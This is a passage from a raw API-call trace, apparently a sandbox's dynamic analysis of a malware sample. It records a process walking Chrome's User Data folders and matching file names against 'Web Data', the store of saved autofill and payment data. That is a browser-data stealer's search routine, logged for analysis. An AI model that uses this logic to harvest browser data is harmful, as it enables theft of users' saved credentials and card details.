uBytes=0xbe) returned 0x2d09b8 [0056.112] lstrcpyA (in: lpString1=0x2d09b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\" [0056.112] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\", lpString2="User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.112] LocalFree (hMem=0x2cc740) returned 0x0 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.112] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.112] lstrlenA (lpString="\\*.*") returned 4 [0056.112] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2cc740 [0056.112] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.112] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0056.112] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 0x2cbdf0 [0056.113] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.113] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.113] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.113] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.113] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.113] lstrcmpiA (lpString1=".", lpString2="CertificateTransparency") returned -1 [0056.113] lstrcmpiA (lpString1="..", lpString2="CertificateTransparency") returned -1 [0056.113] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.113] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.113] lstrlenA (lpString="\\") returned 1 [0056.113] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d0a80 [0056.113] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.113] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.113] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.113] lstrlenA (lpString="CertificateTransparency") returned 23 [0056.113] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x2d49b0 [0056.113] lstrcpyA (in: lpString1=0x2d49b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.113] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0056.113] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.113] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 85 [0056.113] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 85 [0056.113] lstrlenA (lpString="\\*.*") returned 4 [0056.113] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2d4a90 [0056.113] lstrcpyA (in: lpString1=0x2d4a90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0056.113] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*" [0056.113] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2cbac0 [0056.113] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.113] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.113] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.113] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.113] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.113] FindClose (in: hFindFile=0x2cbac0 | out: hFindFile=0x2cbac0) returned 1 [0056.113] LocalFree (hMem=0x2d4a90) returned 0x0 [0056.113] LocalFree (hMem=0x2d49b0) returned 0x0 [0056.113] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.114] lstrcmpiA (lpString1=".", lpString2="Crashpad") returned -1 [0056.114] lstrcmpiA (lpString1="..", lpString2="Crashpad") returned -1 [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.114] lstrlenA (lpString="\\") returned 1 [0056.114] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d0a80 [0056.114] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.114] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.114] lstrlenA (lpString="Crashpad") returned 8 [0056.114] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d49c8 [0056.114] lstrcpyA (in: lpString1=0x2d49c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.114] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0056.114] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.114] lstrlenA (lpString="\\*.*") returned 4 [0056.114] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x2cc9b8 [0056.114] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0056.114] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*" [0056.114] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2cbac0 [0056.114] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.114] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.114] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.114] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.114] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.114] StrStrIA (lpFirst="metadata", lpSrch="Web Data") returned 0x0 [0056.114] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.114] lstrcmpiA (lpString1=".", lpString2="reports") returned -1 [0056.114] lstrcmpiA (lpString1="..", lpString2="reports") returned -1 [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 70 [0056.114] lstrlenA (lpString="\\") returned 1 [0056.114] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x2d4a98 [0056.114] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0056.114] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0056.114] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned 71 [0056.114] lstrlenA (lpString="reports") returned 7 [0056.114] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x2cca90 [0056.115] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0056.115] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpString2="reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0056.115] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 78 [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 78 [0056.115] lstrlenA (lpString="\\*.*") returned 4 [0056.115] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x2d79b8 [0056.115] lstrcpyA (in: lpString1=0x2d79b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0056.115] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*" [0056.115] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2cbb00 [0056.115] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.115] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.115] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.115] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.115] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0 [0056.115] FindClose (in: hFindFile=0x2cbb00 | out: hFindFile=0x2cbb00) returned 1 [0056.115] LocalFree (hMem=0x2d79b8) returned 0x0 [0056.115] LocalFree (hMem=0x2cca90) returned 0x0 [0056.115] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.115] StrStrIA (lpFirst="settings.dat", lpSrch="Web Data") returned 0x0 [0056.115] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0 [0056.115] FindClose (in: hFindFile=0x2cbac0 | out: hFindFile=0x2cbac0) returned 1 [0056.115] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.115] LocalFree (hMem=0x2d49c8) returned 0x0 [0056.115] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.115] StrStrIA (lpFirst="CrashpadMetrics-active.pma", lpSrch="Web Data") returned 0x0 [0056.115] FindNextFileA (in: hFindFile=0x2cbdf0, lpFindFileData=0x21f8a0 | out: lpFindFileData=0x21f8a0) returned 1 [0056.115] lstrcmpiA (lpString1=".", lpString2="Default") returned -1 [0056.115] lstrcmpiA (lpString1="..", lpString2="Default") returned -1 [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.115] lstrlenA (lpString="\\") returned 1 [0056.115] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d0a80 [0056.115] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.115] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.115] lstrlenA (lpString="Default") returned 7 [0056.115] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2d49c8 [0056.115] lstrcpyA (in: lpString1=0x2d49c8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.115] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.115] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.115] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.115] lstrlenA (lpString="\\*.*") returned 4 [0056.116] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x2cc9b8 [0056.116] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*" [0056.116] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 0x2cbac0 [0056.116] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.116] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.116] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.116] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.116] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.116] lstrcmpiA (lpString1=".", lpString2="Cache") returned -1 [0056.116] lstrcmpiA (lpString1="..", lpString2="Cache") returned -1 [0056.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.116] lstrlenA (lpString="\\") returned 1 [0056.116] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4a98 [0056.116] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.116] lstrlenA (lpString="Cache") returned 5 [0056.116] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x2cca90 [0056.116] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0056.116] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 75 [0056.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 75 [0056.116] lstrlenA (lpString="\\*.*") returned 4 [0056.116] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x2ccb68 [0056.116] lstrcpyA (in: lpString1=0x2ccb68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0056.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0056.116] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0x2cbb00 [0056.116] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.116] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.116] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.116] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.116] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.116] StrStrIA (lpFirst="data_0", lpSrch="Web Data") returned 0x0 [0056.116] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.116] StrStrIA (lpFirst="data_1", lpSrch="Web Data") returned 0x0 [0056.116] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.116] StrStrIA (lpFirst="data_2", lpSrch="Web Data") returned 0x0 [0056.116] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.116] StrStrIA (lpFirst="data_3", lpSrch="Web Data") returned 0x0 [0056.116] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 1 [0056.116] StrStrIA (lpFirst="index", lpSrch="Web Data") returned 0x0 [0056.117] FindNextFileA (in: hFindFile=0x2cbb00, lpFindFileData=0x21f580 | out: lpFindFileData=0x21f580) returned 0 [0056.117] FindClose (in: hFindFile=0x2cbb00 | out: hFindFile=0x2cbb00) returned 1 [0056.117] LocalFree (hMem=0x2ccb68) returned 0x0 [0056.117] LocalFree (hMem=0x2cca90) returned 0x0 [0056.117] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.117] StrStrIA (lpFirst="Cookies", lpSrch="Web Data") returned 0x0 [0056.117] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.117] StrStrIA (lpFirst="Cookies-journal", lpSrch="Web Data") returned 0x0 [0056.117] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.117] StrStrIA (lpFirst="Current Session", lpSrch="Web Data") returned 0x0 [0056.117] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.117] StrStrIA (lpFirst="Current Tabs", lpSrch="Web Data") returned 0x0 [0056.117] FindNextFileA (in: hFindFile=0x2cbac0, lpFindFileData=0x21f710 | out: lpFindFileData=0x21f710) returned 1 [0056.117] lstrcmpiA (lpString1=".", lpString2="data_reduction_proxy_leveldb") returned -1 [0056.117] lstrcmpiA (lpString1="..", lpString2="data_reduction_proxy_leveldb") returned -1 [0056.117] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.117] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.117] lstrlenA (lpString="\\") returned 1 [0056.117] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4a98 [0056.117] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") 